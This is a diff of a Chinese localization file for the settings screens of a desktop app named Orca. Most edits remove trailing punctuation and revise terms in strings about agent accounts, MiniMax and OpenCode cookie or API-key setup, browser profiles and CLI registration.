           "9baf45d071": "当前设备",
-          "2358ac71d2": "WSL 默认值",
+          "2358ac71d2": "WSL",
           "ad47a33f72": "正在加载 WSL",
           "8619f9afa9": "WSL",
           "46cf7e7495": "账户位置",
-          "0b4591ff93": "选择要检查的本地环境以及添加新的托管 Claude 和 Codex 账户的位置。",
-          "0c67a2a1aa": "WSL 在此计算机上不可用。",
-          "2cd197025c": "选择是否在 {{value0}} 或 WSL 中检查并添加提供商账户。",
-          "fd62f37c24": "Codex 报告此 {{value0}} 登录信息已过期。",
-          "e4a28e8894": "Codex 报告 {{value0}} 登录需要重新登录。在开始新的 Codex 会话之前再次登录。",
-          "75ca9b718e": "Codex 报告活动账户需要重新登录。在开始新的 Codex 会话之前重新对其进行身份验证。",
-          "e05d0ff737": "使用您当前 {{value0}} Claude 登录名。",
-          "2f24f244a4": "需要 MiniMax Cookie。",
-          "8e6f0cb1d8": "MiniMax Cookie 未保存。",
-          "8d61637a77": "MiniMax Cookie 已保存。",
-          "b43e761fe5": "MiniMax Cookie 更新失败。",
+          "0b4591ff93": "选择要检查的本地环境以及添加新的托管 Claude 和 Codex 账户的位置",
+          "0c67a2a1aa": "WSL 在此计算机上不可用",
+          "2cd197025c": "选择是否在 {{value0}} 或 WSL 中检查并添加提供商账户",
+          "fd62f37c24": "Codex 报告此 {{value0}} 登录信息已过期",
+          "e4a28e8894": "Codex 报告 {{value0}} 登录需要重新登录，在开始新的 Codex 会话之前再次登录",
+          "75ca9b718e": "Codex 报告活动账户需要重新登录，在开始新的 Codex 会话之前重新对其进行身份验证",
+          "e05d0ff737": "使用您当前 {{value0}} Claude 登录名",
+          "2f24f244a4": "需要 MiniMax Cookie",
+          "8e6f0cb1d8": "MiniMax Cookie 未保存",
+          "8d61637a77": "MiniMax Cookie 已保存",
+          "b43e761fe5": "MiniMax Cookie 更新失败",
           "5d63bbfbec": "MiniMax",
-          "33bba5ad83": "粘贴 MiniMax 会话 Cookie 以在本地获取速率限制。",
+          "33bba5ad83": "粘贴 MiniMax 会话 Cookie 以在本地获取速率限制",
           "73ea15f24b": "已保存",
           "23afe8f226": "未保存",
           "f38b9cc4bd": "替换",
           "590a3130f9": "保存",
           "9dd50d3f75": "高级",
-          "174fb408f9": "除非 MiniMax 使用量刷新指向了错误的工作区或模型，否则请保持这些默认值。",
-          "bf160bb6c0": "Group ID 覆盖",
-          "b1e2743313": "可选。留空将使用 Cookie 中的 minimax_group_id_v2。",
-          "0747d6391a": "使用 Cookie 中的 Group ID",
+          "174fb408f9": "除非 MiniMax 使用量刷新指向了错误的工作区或模型，否则请保持这些默认值",
+          "bf160bb6c0": "组 ID 覆盖",
+          "b1e2743313": "留空将使用 Cookie 中的 minimax_group_id_v2",
+          "0747d6391a": "使用 Cookie 中的组 ID",
           "4ff2af7524": "使用模型名称",
-          "5cf4b0f85f": "可选的逗号分隔的模型名称。除非 MiniMax 返回模型特定错误，否则请保持为 general。",
+          "5cf4b0f85f": "逗号分隔的模型名称，除非 MiniMax 返回模型特定错误，否则请保持为 general",
           "3c92b0d31c": "general",
           "0d8e77bc40": "打开控制台",
           "0b8c1c7e02": "已存储在本地",
           "43d7a45b97": "如何复制",
           "b8a4f21c3e": "粘贴来自 DevTools 的 Cookie 请求头",
           "53f7b8c7a2": "上次刷新: {{value0}}",
-          "31d24a4e87": "在浏览器中退出登录后，Cookie 将过期。",
+          "31d24a4e87": "在浏览器中退出登录后，Cookie 将过期",
           "3a30aaf526": "刚刚",
-          "24560fe830": "打开 DevTools。",
-          "4cab0fa42d": "转到“网络”选项卡并启用“保留日志”。",
-          "bee4e63e1c": "重新加载页面。",
-          "87f814af6f": "按 remains 筛选并选择 coding_plan/remains 请求。",
-          "435df0ee51": "在请求头中，复制 Cookie 的值。",
-          "7492fb3bba": "在此粘贴并点击保存。",
+          "24560fe830": "打开 DevTools",
+          "4cab0fa42d": "转到\"网络\"选项卡并启用\"保留日志\"",
+          "bee4e63e1c": "重新加载页面",
+          "87f814af6f": "按 remains 筛选并选择 coding_plan/remains 请求",
+          "435df0ee51": "在请求头中，复制 Cookie 的值",
+          "7492fb3bba": "在此粘贴并点击保存",
           "9fec52de4b": "如何复制 Cookie",
           "remoteServerFallback": "远程服务器",
-          "loadAccountsFailed": "无法加载提供商账户。",
+          "loadAccountsFailed": "无法加载提供商账户",
           "accountScopePrefix": "账户范围",
           "accountScopeRemoteServerUnnamed": "远程服务器",
-          "remoteScopeAuthContext": "每个账户在 {{value0}} 上保留自己的登录上下文。",
-          "remoteEmptyClaudeAccounts": "{{value0}} 上没有受管理的 Claude 账户。它使用其系统默认的 Claude 登录；请在该服务器上添加账户。",
-          "remoteEmptyCodexAccounts": "{{value0}} 上没有受管理的 Codex 账户。它使用其系统默认的 Codex 登录；请在该服务器上添加账户。",
-          "codexSystemDefaultCustomProvider": "自定义提供商 — 不跟踪使用情况。",
-          "codexSystemDefaultNeedsSignIn": "未找到 {{value0}} 的 Codex 登录信息。",
-          "codexConfigSyncMissingSource": "由于缺少 {{value0}}，Codex 仍在使用上次同步的设置。请恢复该文件以恢复同步。",
-          "codexConfigSyncBlankSource": "由于 {{value0}} 为空，Codex 仍在使用上次同步的设置。同步文件夹完成下载前出现这种情况是正常的。",
-          "codexConfigSyncManagedHomeUnavailable": "Orca 暂时无法读取此账户的 Codex 文件，因此设置可能尚未同步。这通常会自行恢复——防病毒软件或备份工具可能只是短暂锁定了这些文件。",
-          "codexConfigSyncUnreadableSource": "由于无法读取 {{value0}}，Codex 仍在使用上次同步的设置。请检查该文件的权限。",
-          "d6f1b9b6a2": "请填写 MiniMax API 密钥。",
-          "7c5d8a4e1b": "MiniMax API 密钥未保存。",
-          "4d2c7b9e83": "MiniMax API 密钥已保存。",
+          "remoteScopeAuthContext": "每个账户在 {{value0}} 上保留自己的登录上下文",
+          "remoteEmptyClaudeAccounts": "{{value0}} 上没有受管理的 Claude 账户，它使用其系统默认的 Claude 登录，请在该服务器上添加账户",
+          "remoteEmptyCodexAccounts": "{{value0}} 上没有受管理的 Codex 账户，它使用其系统默认的 Codex 登录，请在该服务器上添加账户",
+          "codexSystemDefaultCustomProvider": "自定义提供商 — 不跟踪使用情况",
+          "codexSystemDefaultNeedsSignIn": "未找到 {{value0}} 的 Codex 登录信息",
+          "codexConfigSyncMissingSource": "由于缺少 {{value0}}，Codex 仍在使用上次同步的设置，请恢复该文件以恢复同步",
+          "codexConfigSyncBlankSource": "由于 {{value0}} 为空，Codex 仍在使用上次同步的设置，同步文件夹完成下载前出现这种情况是正常的",
+          "codexConfigSyncManagedHomeUnavailable": "Orca 暂时无法读取此账户的 Codex 文件，因此设置可能尚未同步，这通常会自行恢复——防病毒软件或备份工具可能只是短暂锁定了这些文件",
+          "codexConfigSyncUnreadableSource": "由于无法读取 {{value0}}，Codex 仍在使用上次同步的设置，请检查该文件的权限",
+          "d6f1b9b6a2": "请填写 MiniMax API 密钥",
+          "7c5d8a4e1b": "MiniMax API 密钥未保存",
+          "4d2c7b9e83": "MiniMax API 密钥已保存",
           "f8a4b9d210": "MiniMax 端点",
-          "0b3a9f6c2e": "选择与你的账户匹配的端点。海外 (platform.minimax.io) 和中国 (platform.minimaxi.com) 均支持会话 Cookie 或 API 密钥。",
+          "0b3a9f6c2e": "选择与你的账户匹配的端点，海外 (platform.minimax.io) 和中国 (platform.minimaxi.com) 均支持会话 Cookie 或 API 密钥",
           "83b6a1f7c4": "MiniMax API 密钥",
           "4f2c8a7e1b": "粘贴你的 MiniMax API 密钥",
           "a7b1e3c5d2": "忘记密钥",
-          "usageTracking": "为你的账户配置 MiniMax 用量跟踪。",
+          "usageTracking": "为你的账户配置 MiniMax 用量跟踪",
           "credentialsNotSet": "尚未设置凭据",
-          "selectedEndpointStorage": "保存在本地，并发送到所选的 MiniMax 端点以刷新用量。",
-          "openSelectedConsole": "在浏览器中打开 {{url}} 并登录。",
-          "cookieSelectedEndpoint": "保存在本地，并发送到所选的 MiniMax 端点以刷新用量。",
-          "copySelectedConsoleCookie": "打开所选控制台并登录，然后从开发者工具复制 Cookie 请求标头（Network → 任意包含 remains 的请求 → Cookie）。",
-          "apiKeySelectedEndpoint": "粘贴 MiniMax 控制台 → API 密钥中的密钥。保存在本地，并发送到所选的 MiniMax 端点以刷新用量。API 密钥优先于 Cookie。",
-          "apiKeyInstructions": "从 MiniMax 控制台 → API 密钥中复制密钥。已保存的 API 密钥优先于 Cookie；使用“忘记密钥”切换回 Cookie。",
+          "selectedEndpointStorage": "保存在本地，并发送到所选的 MiniMax 端点以刷新用量",
+          "openSelectedConsole": "在浏览器中打开 {{url}} 并登录",
+          "cookieSelectedEndpoint": "保存在本地，并发送到所选的 MiniMax 端点以刷新用量",
+          "copySelectedConsoleCookie": "打开所选控制台并登录，然后从开发者工具复制 Cookie 请求标头（Network → 任意 remains 请求 → Cookie）",
+          "apiKeySelectedEndpoint": "粘贴 MiniMax 控制台 → API 密钥中的密钥，保存在本地，并发送到所选的 MiniMax 端点以刷新用量，API 密钥优先于 Cookie",
+          "apiKeyInstructions": "从 MiniMax 控制台 → API 密钥中复制密钥，已保存的 API 密钥优先于 Cookie，使用“忘记密钥”切换回 Cookie",
           "endpointOverseas": "海外 (platform.minimax.io)",
           "endpointChina": "中国 (platform.minimaxi.com)",
-          "d5267cce63": "）。认证 cookie 仍然涵盖工作区发现；仅凭认证不足以获取使用情况。OpenCode Go 认证基于 Web，可在 Windows 与 WSL 终端间共享。",
-          "62ab430f94": "从浏览器的 DevTools → Network → 任何 opencode.ai 请求粘贴完整的 Cookie 标头，包括 __Host-console_session（例如",
+          "d5267cce63": "），身份验证 Cookie 仍可用于发现工作区，仅有 auth 不足以查询用量，OpenCode Go 的身份验证基于网页，并由 Windows 与 WSL 终端共享",
+          "62ab430f94": "请从浏览器开发者工具 → 网络 → 任意 opencode.ai 请求中粘贴完整的 Cookie 请求头，其中应包含 __Host-console_session（例如",
           "37b4b4a3f7": "auth=…; __Host-console_session=…",
-          "0335bd31d5": "粘贴完整的 opencode.ai Cookie 标头，包括 __Host-console_session，以进行速率限制提取。",
-          "codexLoginLinkPending": "Codex 在您的浏览器中打开了此登录链接。复制它以在其他地方（私人窗口或其他配置文件）完成登录。",
+          "0335bd31d5": "请粘贴完整的 opencode.ai Cookie 请求头（包括 __Host-console_session），以获取速率限制信息",
+          "codexLoginLinkPending": "Codex 已在浏览器中打开此登录链接，复制链接即可在其他位置（无痕窗口或其他浏览器配置文件）完成登录",
           "codexLoginLinkCopied": "已复制",
           "codexLoginLinkCopy": "复制链接",
           "codexLoginLinkOpen": "打开",
-          "codexLoginLinkCopyFailed": "无法复制链接。",
+          "codexLoginLinkCopyFailed": "无法复制链接",
           "opencodeGo": {
             "apiKey": {
-              "description": "可选的覆盖设置。如果留空，Orca 将使用您运行 /connect 时 OpenCode 保存的密钥，其次使用 OPENCODE_API_KEY。",
+              "description": "可选的覆盖设置，如果留空，Orca 将使用您运行 /connect 时 OpenCode 保存的密钥，其次使用 OPENCODE_API_KEY",
               "label": "OpenCode Go API 密钥",
               "placeholder": "留空以使用 /connect 或 OPENCODE_API_KEY 保存的密钥",
-              "help": "用于在状态栏中显示 OpenCode Go 使用情况。下面的会话 Cookie 仅旧版控制台 (OpenCode Black) 账号需要。",
+              "help": "用于在状态栏中显示 OpenCode Go 使用情况，下面的会话 Cookie 仅旧版控制台 (OpenCode Black) 账号需要",
               "checking": "正在检查…",
               "unavailable": "状态不可用",
               "9447604f08": "OpenCode Go API 密钥"
             }
           },
-          "remoteScopeLocalAccountsKeptHostPicker": "在此桌面上管理的账户保持不变。请在设置顶部的“主机”菜单中选择此计算机以查看它们。",
-          "apiKeyUpdateFailed": "MiniMax API 密钥更新失败。",
+          "remoteScopeLocalAccountsKeptHostPicker": "在此桌面上管理的账户保持不变，请在设置顶部的“主机”菜单中选择此计算机以查看它们",
+          "apiKeyUpdateFailed": "MiniMax API 密钥更新失败",
           "91a1b78e67": "账户位置",
           "699680a328": "删除账户",
           "89b9a151c3": "Claude 账户",
@@ -6874,15 +7157,15 @@
         },
         "AdvancedPane": {
           "40b29e0bf3": "重新启动",
-          "87a2cb2ac8": "Orca 在启动时应用此网络模式。",
+          "87a2cb2ac8": "Orca 在启动时应用此网络模式",
           "89958d7edf": "需要重新启动",
-          "b3ad629640": "仅当企业 VPN 或代理因 HTTP/2 协议错误而中断更新下载时使用。重启后会影响所有 Electron 网络。",
+          "b3ad629640": "仅当企业 VPN 或代理因 HTTP/2 协议错误而中断更新下载时使用，重启后会影响所有 Electron 网络",
           "6627e75c92": "解释 HTTP/1.1 兼容性",
           "e9506d3377": "HTTP/1.1 兼容性",
-          "8b7a8df299": "支持故障排除的低级解决方法。",
+          "8b7a8df299": "支持故障排除的低级解决方法",
           "8d8d8ac599": "兼容性",
           "network": "网络",
-          "networkDescription": "用于代理和企业环境的应用级网络路由。"
+          "networkDescription": "用于代理和企业环境的应用级网络路由"
         },
         "AgentSkillSetupPanel": {
           "5289300939": "未安装",
@@ -6893,26 +7176,26 @@
           "updateLabel": "更新",
           "retrySetup": "重试",
           "installing": "正在安装...",
-          "hostUnavailable": "Orca 暂时无法在此工作区所在的机器上安装技能。",
+          "hostUnavailable": "Orca 暂时无法在此工作区所在的机器上安装技能",
           "replaceWithOrcaCopy": "替换为 Orca 的副本",
           "copyCommandAria": "复制命令",
           "ed197f59a2": "复制命令",
-          "failedToCopyCommand": "复制命令失败。",
-          "copiedCommand": "已复制命令。",
+          "failedToCopyCommand": "复制命令失败",
+          "copiedCommand": "已复制命令",
           "5f818f12ab": "正在准备...",
-          "setupFailed": "设置失败",
-          "runCommandDescription": "按 Enter 运行命令。",
-          "4c05b9d7cb": "正在准备设置终端。",
-          "setupCommandFailed": "设置命令退出，代码为 {{value0}}。重试成功后，此错误将会清除。"
+          "setupFailed": "安装失败",
+          "runCommandDescription": "按 Enter 运行命令",
+          "4c05b9d7cb": "正在准备设置终端",
+          "setupCommandFailed": "安装命令以代码 {{value0}} 退出，成功重试后此错误将清除"
         },
         "AgentsPane": {
-          "d83834f5e6": "检测已安装的智能体...",
-          "024bd95089": "智能体",
+          "d83834f5e6": "检测已安装的代理...",
+          "024bd95089": "代理",
           "e8da2af684": "可安装",
           "ed3e110e61": "已检测",
           "02e0143be5": "已安装",
           "92033495ff": "自动",
-          "f9f127d664": "覆盖二进制路径或名称，并编辑此智能体的默认启动参数或环境。",
+          "f9f127d664": "覆盖二进制路径或名称，并编辑此代理的默认启动参数或环境",
           "f95b5c79b8": "安装",
           "fe4d630c94": "文档",
           "8dc0192e48": "已禁用",
@@ -6922,23 +7205,23 @@
           "1c9a9679ec": "{{value0}} 可用性",
           "0d9e293a02": "刷新",
           "c9b33eb5c0": "刷新中…",
-          "13647f9f80": "重新读取 shell PATH 并重新检测已安装的智能体",
+          "13647f9f80": "重新读取 shell PATH 并重新检测已安装的代理",
           "24e032fa34": "默认",
           "5f986a9b92": "设置为默认值",
           "cfb3f35775": "参数",
           "6f99bf5dd0": "无默认参数",
           "8fbe1f37c1": "环境",
           "2d133152fa": "无默认环境",
-          "3f1bdf3cb4": "环境文本过长，无法安全解析。",
+          "3f1bdf3cb4": "环境文本过长，无法安全解析",
           "codexSessionSource": "要导入的 Codex 主目录",
           "codexSessionSourceInfo": "关于导入 Codex 历史记录",
-          "codexSessionSourceTooltip": "Orca 在隔离的主目录中运行 Codex。将此项指向您现有的 Codex 主目录以导入会话历史记录。留空则使用 ~/.codex。",
-          "03e1a5081a": "on {{value0}}",
-          "25a41a9aad": "重新检测此服务器上安装的智能体",
-          "remoteDetectionFailed": "无法检测已安装的智能体。请检查主机连接后重试。",
-          "retryDetection": "Retry",
-          "storedDefaultUndetected": "已保存为默认值，但目前未检测到",
-          "noAgentsDetected": "未检测到智能体。如果安装了探测器，探测器可能会超时。",
+          "codexSessionSourceTooltip": "Orca 在隔离的主目录中运行 Codex，将此项指向您现有的 Codex 主目录以导入会话历史记录，留空则使用 ~/.codex",
+          "03e1a5081a": "在 {{value0}} 上",
+          "25a41a9aad": "重新检测此服务器上安装的代理",
+          "remoteDetectionFailed": "无法检测已安装的代理，请检查主机连接后重试",
+          "retryDetection": "重试",
+          "storedDefaultUndetected": "已保存为默认代理，但目前未检测到",
+          "noAgentsDetected": "未检测到任何代理，如果已安装代理，检测可能已超时",
           "9f30095d49": "智能体权限",
           "3bddd54c9e": "默认智能体"
         },
@@ -6948,11 +7231,10 @@
           "5f5142a62a": "上一个图标"
         },
         "AppearancePane": {
-          "3057983501": "未分配",
-          "0cd9b8228f": "选择 Dock 和窗口切换器中显示的应用程序图标。",
-          "61d842eca0": "在侧边栏中显示 Orca 手机端 快捷方式。它仍然可以从工具箱中获取。",
+          "0cd9b8228f": "选择 Dock 和窗口切换器中显示的应用程序图标",
+          "61d842eca0": "在侧边栏中显示 Orca 手机端 快捷方式，它仍然可以从工具箱中获取",
           "dc29f3cc0d": "侧边栏",
-          "ef89200c1f": "当不在终端窗格中时。",
+          "ef89200c1f": "当不在终端窗格中时",
           "fd89b5487c": "浅色",
           "7d26ccabe8": "深色",
           "fb0e0b4453": "系统",
@@ -6960,24 +7242,24 @@
           "leftSidebarAppearance": {
             "default": "默认",
             "tinted": "色调",
-            "tintColorDescription": "混入左侧边栏表面的颜色。",
-            "tintOpacityDescription": "控制色调混入边栏的强度。",
+            "tintColorDescription": "混入左侧边栏表面的颜色",
+            "tintOpacityDescription": "控制色调混入边栏的强度",
             "tintDescription": "保持左侧边栏默认或为其着色。要跟随终端，请将浅色或深色主题设为“匹配终端”。",
             "fcc653abee": "左侧边栏外观",
             "df205a675e": "色调强度",
             "ba1d9a0607": "边栏色调"
           },
-          "b707773a0d": "启用后，关闭窗口会让 Orca 继续在系统托盘中运行，而不是退出。",
+          "b707773a0d": "启用后，关闭窗口会让 Orca 继续在系统托盘中运行，而不是退出",
           "interfaceDefaultFont": "默认字体",
           "terminalDefaultFont": "默认字体",
           "interfaceTitle": "界面",
           "terminalTitle": "终端",
           "windowSidebarSummary": "侧边栏、状态栏和文件浏览器",
-          "gitIgnoredGlossary": "与 .gitignore 匹配的文件。",
-          "statusBarDescription": "选择状态栏中显示哪些指示器。",
+          "gitIgnoredGlossary": "与 .gitignore 匹配的文件",
+          "statusBarDescription": "选择状态栏中显示哪些指示器",
           "showPinnedWorktreesInGroups": {
             "title": "也在原来的列表中显示已固定的工作树",
-            "description": "已固定的工作树会保留在 Pinned 中，同时也显示在全部、项目、状态和 PR 中。"
+            "description": "已固定的工作树会保留在“已固定”列表中，同时也显示在全部、项目、状态和 PR 列表中"
           },
           "e0f9902e18": "显示任务按钮",
           "7e958ee950": "显示 Git 忽略的文件",
@@ -6998,59 +7280,59 @@
           "c71770c455": "{basePrompt}",
           "a869d0edd8": "分支名称提示词模板",
           "e784ea62dc": "高级",
-          "d9b65054ef": "）到总结任务的简短名称。只有 Orca 命名的分支才会被重命名，并且在推送后不会被重命名。",
-          "12ea4a408d": "当智能体开始在新工作区中工作时，Orca 会重命名其自动生成的分支（例如",
+          "d9b65054ef": ")到总结任务的简短名称，只有 Orca 命名的分支才会被重命名，并且在推送后不会被重命名",
+          "12ea4a408d": "当代理开始在新工作区中工作时，Orca 会重命名其自动生成的分支(例如",
           "ef787db0e3": "自动重命名分支和工作树",
-          "6a051586d2": "智能体启动后，根据工作重命名自动生成的分支。",
+          "6a051586d2": "代理启动后，根据工作重命名自动生成的分支",
           "ec3e0c388e": "保存",
           "cfd82406dd": "保存中...",
           "40e7be7850": "已保存",
           "7c7e34a66d": "未保存的更改",
-          "commandTemplateDescription": "使用 <basePrompt>{basePrompt}</basePrompt> 可包含 Orca 的<promptLink>内置分支名称提示</promptLink>。您还可以引用 <firstPrompt>{firstPrompt}</firstPrompt> 和 <assistantMessage>{assistantMessage}</assistantMessage>。Orca 只生成最后一段，例如 <example>fix-login-flow</example>；您的分支前缀设置仍然适用。"
+          "commandTemplateDescription": "使用 <basePrompt>{basePrompt}</basePrompt> 可包含 Orca 的<promptLink>内置分支名称提示</promptLink>，您还可以引用 <firstPrompt>{firstPrompt}</firstPrompt> 和 <assistantMessage>{assistantMessage}</assistantMessage>，Orca 只生成最后一段，例如 <example>fix-login-flow</example>，您的分支前缀设置仍然适用"
         },
         "BaseRefPicker": {
-          "1b8e54151f": "未找到匹配的分支。",
+          "1b8e54151f": "未找到匹配的分支",
           "d166ff883d": "当前",
           "a4a9372eb2": "搜索分支...",
           "7db7fb87e5": "按名称搜索分支...",
           "773a5687a3": "跟随主分支",
-          "ade9a5bb03": "）以限定结果范围。",
+          "ade9a5bb03": ") 来确定结果范围",
           "b468f46726": "upstream/main",
-          "80f7c82303": "）或完整引用（例如",
+          "80f7c82303": ")或完整的参考(例如",
           "915ad97875": "upstream",
-          "a5c16712c1": "发现多个远程仓库。请输入远程仓库名称（例如",
+          "a5c16712c1": "已检测多个遥控器，输入远程名称(例如",
           "9a14ec7400": "选择下面的一个基础分支",
           "086ce7f369": "跟随主分支 ({{value0}})",
-          "2f3cda96f5": "已为此仓库固定",
-          "ee110e1830": "未设置默认基础引用"
+          "2f3cda96f5": "固定此仓库",
+          "ee110e1830": "没有默认的基本参考"
         },
         "BrowserDefaultZoomSetting": {
-          "siteDefault": "未单独设置缩放的网站使用的缩放级别。",
+          "siteDefault": "未单独设置缩放的网站使用的缩放级别",
           "f3d989184e": "默认缩放"
         },
         "BrowserHomePageSetting": {
           "d4ddcd0056": "保存",
           "37a30c5bfd": "https://google.com",
-          "c6cbd1c105": "主页已保存。",
-          "6a37540f4b": "创建新浏览器选项卡时打开的 URL。留空以打开空白选项卡。",
+          "c6cbd1c105": "主页已保存",
+          "6a37540f4b": "创建新浏览器选项卡时打开的 URL，留空以打开空白选项卡",
           "9b9df9fe19": "默认主页"
         },
         "BrowserPane": {
           "81ff774667": "取消",
-          "7d4c0a2aa4": "配置文件名称",
-          "612f7f6861": "创建配置文件失败。",
-          "8f22b7580d": "已创建配置文件“{{value0}}”。",
-          "e4aaf8051b": "工具栏菜单。",
-          "cd47bc9622": "为新浏览器选项卡选择默认配置文件。通过以下方式导入 cookie 并切换每个选项卡的配置文件",
-          "aa1074bfe9": "管理浏览器配置文件并从 Chrome、Edge、Comet 或其他浏览器导入 cookie。",
-          "3e46903ad4": "在地址栏中输入非 URL 文本时使用。",
-          "7b225c78f5": "在地址栏中输入非 URL 文本时使用的搜索引擎。",
+          "7d4c0a2aa4": "个人资料名称",
+          "612f7f6861": "创建个人资料失败",
+          "8f22b7580d": "已创建配置文件\"{{value0}}\"",
+          "e4aaf8051b": "工具栏菜单",
+          "cd47bc9622": "为新浏览器选项卡选择默认配置文件，通过以下方式导入 cookie 并切换每个选项卡的配置文件",
+          "aa1074bfe9": "管理浏览器配置文件并从 Chrome、Edge、Comet 或其他浏览器导入 cookie",
+          "3e46903ad4": "在地址栏中输入非 URL 文本时使用",
+          "7b225c78f5": "在地址栏中输入非 URL 文本时使用的搜索引擎",
           "64898ecdab": "创建",
           "7b649a578a": "创建中…",
           "4399c77caa": "默认",
-          "c0f85056d9": "此 Orca 服务器上的浏览器配置。",
+          "c0f85056d9": "此 Orca 服务器上的浏览器配置",
           "86b7c83fee": "本机",
-          "6480776a03": "所选主机的浏览器配置。",
+          "6480776a03": "所选主机的浏览器配置",
           "5e19a692f7": "主机",
           "bc44903d30": "会话和 Cookie",
           "7a366a05e1": "链路路由",
@@ -7060,13 +7342,13 @@
           "f36182ff2f": "新的浏览器配置文件"
         },
         "BrowserProfileRow": {
-          "8e636cae25": "已删除配置文件“{{value0}}”。",
-          "2d4bea7f35": "默认 cookie 已清除。",
+          "8e636cae25": "已删除配置文件\"{{value0}}\"",
+          "2d4bea7f35": "默认 cookie 已清除",
           "796d846483": "没有导入cookie",
           "c29648fe5b": "当前",
-          "b4c167764d": "已从文件将 {{value0}} 个 Cookie 导入到 {{value1}}。",
-          "a3f8c2d1e0b4": "已从 {{value1}} ({{value2}}) 导入 {{value0}} 个 Cookie 到 {{value3}}。",
-          "b4e9d3f2a1c5": "已从 {{value1}} 导入 {{value0}} 个 Cookie 到 {{value2}}。",
+          "b4c167764d": "已从文件将 {{value0}} 个 Cookie 导入到 {{value1}}",
+          "a3f8c2d1e0b4": "已从 {{value1}} ({{value2}}) 导入 {{value0}} 个 Cookie 到 {{value3}}",
+          "b4e9d3f2a1c5": "已从 {{value1}} 导入 {{value0}} 个 Cookie 到 {{value2}}",
           "c5a273a809": "从 {{value0}}",
           "80bffd32bf": "导入 Cookie",
           "bd7d68f138": "从文件..."
@@ -7076,93 +7358,96 @@
           "333984cf90": "使用现有的浏览器会话",
           "9895ed44de": "开放计算机使用"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "启用智能体浏览器使用"
+        },
         "BrowserUseExamples": {
           "1199258ace": "复制",
           "1188e56af4": "复制示例提示",
           "b84807f228": "”",
           "59722f31b4": "“",
-          "c5325e91f6": "将其中任何内容粘贴到 Claude Code、Codex 或安装该技能的项目中的其他智能体中。",
+          "c5325e91f6": "将其中任何内容粘贴到 Claude Code、Codex 或安装该技能的项目中的其他代理中",
           "2a180694f7": "尝试一下 - 示例提示",
-          "5ec620ccc4": "复制失败。",
-          "a602d43069": "复制{{value0}}。"
+          "5ec620ccc4": "复制失败",
+          "a602d43069": "复制{{value0}}"
         },
         "BrowserUsePane": {
           "67d9a53f47": "管理单独登录的配置文件",
           "112f70adc4": "上次导入自 {{value0}}",
-          "72d4815523": "将您现有的登录信息带入 Orca，以便智能体可以访问经过身份验证的页面。导入到默认配置文件中。",
-          "af8c83ed61": "从 Chrome、Edge 或其他浏览器导入 cookie，以便智能体可以重复使用您的登录信息。",
-          "68ea76eb71": "安装浏览器使用技能，以便智能体可以操作 Orca 的浏览器。",
-          "96b91c6349": "让编码智能体通过您的登录来驱动此浏览器。",
-          "2ea4617e3a": "从 {{value1}}{{value2}} 导入 {{value0}} cookie。",
+          "72d4815523": "将您现有的登录信息带入 Orca，以便代理可以访问经过身份验证的页面，导入到默认配置文件中",
+          "af8c83ed61": "从 Chrome、Edge 或其他浏览器导入 cookie，以便代理可以重复使用您的登录信息",
+          "68ea76eb71": "安装浏览器使用技能，以便代理可以操作 Orca 的浏览器",
+          "96b91c6349": "让编码代理通过您的登录来驱动此浏览器",
+          "2ea4617e3a": "从 {{value1}}{{value2}} 导入 {{value0}} cookie",
           "2ccfc9cff8": "导入",
           "0462565413": "重新导入",
-          "8f2675c2f3": "已从文件导入 {{value0}} 个 Cookie。",
+          "8f2675c2f3": "已从文件导入 {{value0}} 个 Cookie",
           "5301857d88": "从 {{value0}}",
-          "finishSteps": "让编程智能体使用你的登录状态操作此浏览器。请完成以下步骤。",
+          "finishSteps": "让编程智能体使用你的登录状态操作此浏览器，请完成以下步骤",
           "b3e79d1c51": "导入浏览器 Cookie",
           "507fdae102": "智能体浏览器使用",
           "4ab048c0b8": "从文件...",
           "4451b3c0a6": "安装浏览器使用技能"
         },
         "BrowserUseSkillStep": {
-          "0871b6998d": "使智能体能够在 Orca 浏览器中导航和验证页面。",
+          "0871b6998d": "使代理能够在 Orca 浏览器中导航和验证页面",
           "459e24eebc": "浏览器使用技能"
         },
         "CliSection": {
           "8671e406f0": "取消",
           "a4aafe46e3": "目标路径：",
-          "e8012c03a1": "使智能体能够使用 Orca 工作区、终端和进度命令。",
-          "7f2747f7dd": "当前在此 shell 的 PATH 上不可见。",
+          "e8012c03a1": "使代理能够使用 Orca 工作区、终端和进度命令",
+          "7f2747f7dd": "当前在此 shell 的 PATH 上不可见",
           "b0c310ab46": "现有启动器目标：",
           "15eaad0d31": "命令路径：",
           "5dae812f50": "刷新",
           "52e640f3a0": "刷新 CLI 状态",
-          "d77352f2df": "无法从 PATH 中删除 `{{value0}}`。",
-          "af5540930c": "从路径中删除了“{{value0}}”。",
-          "a2b13efa94": "无法在 PATH 中注册 `{{value0}}`。",
-          "9cbcd31338": "在 PATH 中注册了 `{{value0}}`。",
-          "7baec27029": "无法加载 CLI 状态。",
+          "d77352f2df": "无法从 PATH 中删除 `{{value0}}`",
+          "af5540930c": "从路径中删除了\"{{value0}}\"",
+          "a2b13efa94": "无法在 PATH 中注册 `{{value0}}`",
+          "9cbcd31338": "在 PATH 中注册了 `{{value0}}`",
+          "7baec27029": "无法加载 CLI 状态",
           "d00df2e397": "注册",
           "9a5f8a4568": "移除",
           "b0fca411a0": "注册…",
           "068552b191": "正在删除...",
-          "aa6536977e": "Orca 将注册 {{value0}} ，以便该命令在您的终端上运行。",
-          "a030816e3e": "这将删除 shell 命令符号链接。 Orca 本身仍保持安装状态。",
+          "aa6536977e": "Orca 将注册 {{value0}} ，以便该命令在您的终端上运行",
+          "a030816e3e": "这将删除 shell 命令符号链接，Orca 本身仍保持安装状态",
           "fa87db3d6e": "在路径中注册`{{value0}}`？",
           "14444243ba": "从路径中删除`{{value0}}`？",
           "d363e5929b": "正在检查 CLI 注册...",
           "6f894ef9c2": "在 Finder 中显示",
           "cbe55e4d48": "在资源管理器中显示",
-          "installFailureUnknownReason": "Orca 无法完成 CLI 注册，且未报告任何原因。",
-          "installFailureConflictRemedy": "删除 {{value0}} 并在不再需要时重新注册。",
+          "installFailureUnknownReason": "Orca 无法完成 CLI 注册，且未提供原因",
+          "installFailureConflictRemedy": "如果不再需要 {{value0}}，请将其移除后重新注册",
           "71e5d9feae": "在文件管理器中显示"
         },
         "CliSkillRuntimeSetup": {
-          "c47127f222": "WSL 默认值"
+          "c47127f222": "WSL"
         },
         "CommitMessageAiPane": {
           "ad66ff886d": "源代码控制 AI 默认值",
-          "347094560b": "由继承全局托管评审默认值的仓库使用。",
+          "347094560b": "由继承全局托管评审默认值的仓库使用",
